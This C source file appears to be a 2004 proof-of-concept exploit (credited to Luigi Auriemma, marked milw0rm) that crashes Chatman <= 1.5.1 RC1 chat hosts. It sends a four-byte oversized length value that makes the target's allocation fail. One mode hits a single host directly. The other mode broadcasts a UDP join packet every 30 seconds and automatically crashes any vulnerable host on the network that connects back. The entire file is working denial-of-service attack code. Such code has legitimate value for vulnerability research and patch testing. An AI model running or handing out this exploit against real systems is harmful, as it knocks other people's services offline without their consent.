322 lines
No EOL
9.5 KiB
C
322 lines
No EOL
9.5 KiB
C
/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#ifdef WIN32
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#include <winsock.h>
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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#define close closesocket
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#define ONESEC 1000
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#define TWAIT 30000
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DWORD tid1;
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HANDLE thandle;
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#define launch_thread(FUNCTION, PARAMETER) \
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thandle = CreateThread(NULL, 0, (void *)&FUNCTION, (void *)PARAMETER, 0, &tid1); \
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if(!thandle)
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#include <netinet/in.h>
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#include <pthread.h>
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#define ONESEC 1
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#define TWAIT 30
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pthread_t tid1;
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int thandle;
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#define launch_thread(FUNCTION, PARAMETER) \
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thandle = pthread_create(&tid1, NULL, (void *)&FUNCTION, (void *)PARAMETER); \
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if(thandle)
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#endif
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#define VER "0.1"
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#define PORT 7779
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#define JOIN "/TS\r" "crash"
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#define BOOM "\x00\x00\x00\x7f"
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// the cause of the bug is a too big 32 bit value
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// so the allocation fails and the host exits
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// note, are made some operations on this number
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// by the target host
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#ifdef WIN32
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DWORD WINAPI broadjoin(void);
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DWORD WINAPI client(int sock);
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#else
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void *broadjoin(void);
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void *client(int sock);
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#endif
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u_long resolv(char *host);
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void std_err(void);
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u_long broadip = 0xffffffffL;
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int main(int argc, char *argv[]) {
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struct sockaddr_in peer;
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int sd,
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sa,
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type,
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on = 1,
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psz;
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setbuf(stdout, NULL);
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fputs("\n"
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"Chatman <= 1.5.1 RC1 broadcast crash "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <d/p> [host]\n"
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"\n"
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"d = direct, you must specify the host to crash\n"
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" Example: %s d localhost\n"
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"p = passive broadcast crash, any Chatman host reacheable by 255.255.255.255\n"
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" (or any other address choosen by you) will be passively crashed.\n"
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" Examples: %s p\n"
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" %s p 227.0.0.2\n"
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" %s p 127.0.0.1\n"
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"\n", argv[0], argv[0], argv[0], argv[0], argv[0]);
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exit(1);
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}
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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type = argv[1][0];
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if((type != 'd') && (type != 'p')) {
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fputs("\nError: You must choose between 'd' or 'p'\n", stdout);
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exit(1);
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}
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if(type == 'd') {
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if(argc < 3) {
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fputs("\nError: you must specify the host to crash\n", stdout);
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exit(1);
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}
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peer.sin_addr.s_addr = resolv(argv[2]);
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printf("- target %s:%hu\n",
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inet_ntoa(peer.sin_addr),
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PORT);
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} else {
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if(argc > 2) broadip = resolv(argv[2]);
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peer.sin_addr.s_addr = INADDR_ANY;
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psz = sizeof(peer);
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printf("- target %s (UDP %d, bind %d)\n",
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inet_ntoa(*(struct in_addr *)&broadip),
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PORT - 1,
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PORT);
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}
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peer.sin_port = htons(PORT);
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peer.sin_family = AF_INET;
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sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sd < 0) std_err();
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if(type == 'd') {
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if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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fputs("- send BOOM data\n", stdout);
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if(send(sd, BOOM, sizeof(BOOM) - 1, 0)
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< 0) std_err();
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fputs("- the host should be crashed, check it manually\n", stdout);
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} else {
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fputs(
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"- launch the broad ping, the tool will automatically and passively crash any\n"
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" vulnerable Chatman host each 30 seconds (so it runs infinitely until you\n"
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" stop it).\n", stdout);
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launch_thread(broadjoin, NULL) {
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fputs("\nError: Cannot create the thread\n", stdout);
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exit(1);
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}
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fputs("- bind TCP port to accept connections to crash hosts\n", stdout);
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if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
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< 0) std_err();
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if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(listen(sd, 5)
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< 0) std_err();
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for(;;) {
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sa = accept(sd, (struct sockaddr *)&peer, &psz);
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if(sa < 0) std_err();
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printf("Host %s:%hu -> BOOM\n",
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inet_ntoa(peer.sin_addr),
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ntohs(peer.sin_port));
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launch_thread(client, sa) {
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fputs("\nError: Cannot create the thread\n", stdout);
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exit(1);
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}
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}
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}
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close(sd);
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return(0);
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}
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#ifdef WIN32
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DWORD WINAPI broadjoin(void) {
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#else
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void *broadjoin(void) {
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#endif
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int sd,
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on = 1;
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struct sockaddr_in peer;
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peer.sin_addr.s_addr = broadip;
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peer.sin_port = htons(PORT - 1); // 7778
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peer.sin_family = AF_INET;
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on))
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< 0) std_err();
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fputs("- send broadcast UDP join packet (each 30 seconds)\n", stdout);
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for(;;) {
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if(sendto(sd, JOIN, sizeof(JOIN) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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fputs(".\n", stdout);
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sleep(TWAIT);
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}
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close(sd);
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return(0);
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}
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#ifdef WIN32
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DWORD WINAPI client(int sock) {
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#else
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void *client(int sock) {
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#endif
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if(send(sock, BOOM, sizeof(BOOM) - 1, 0)
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< 0) std_err();
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sleep(ONESEC); // needed!
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close(sock);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolve hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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// milw0rm.com [2004-03-01]
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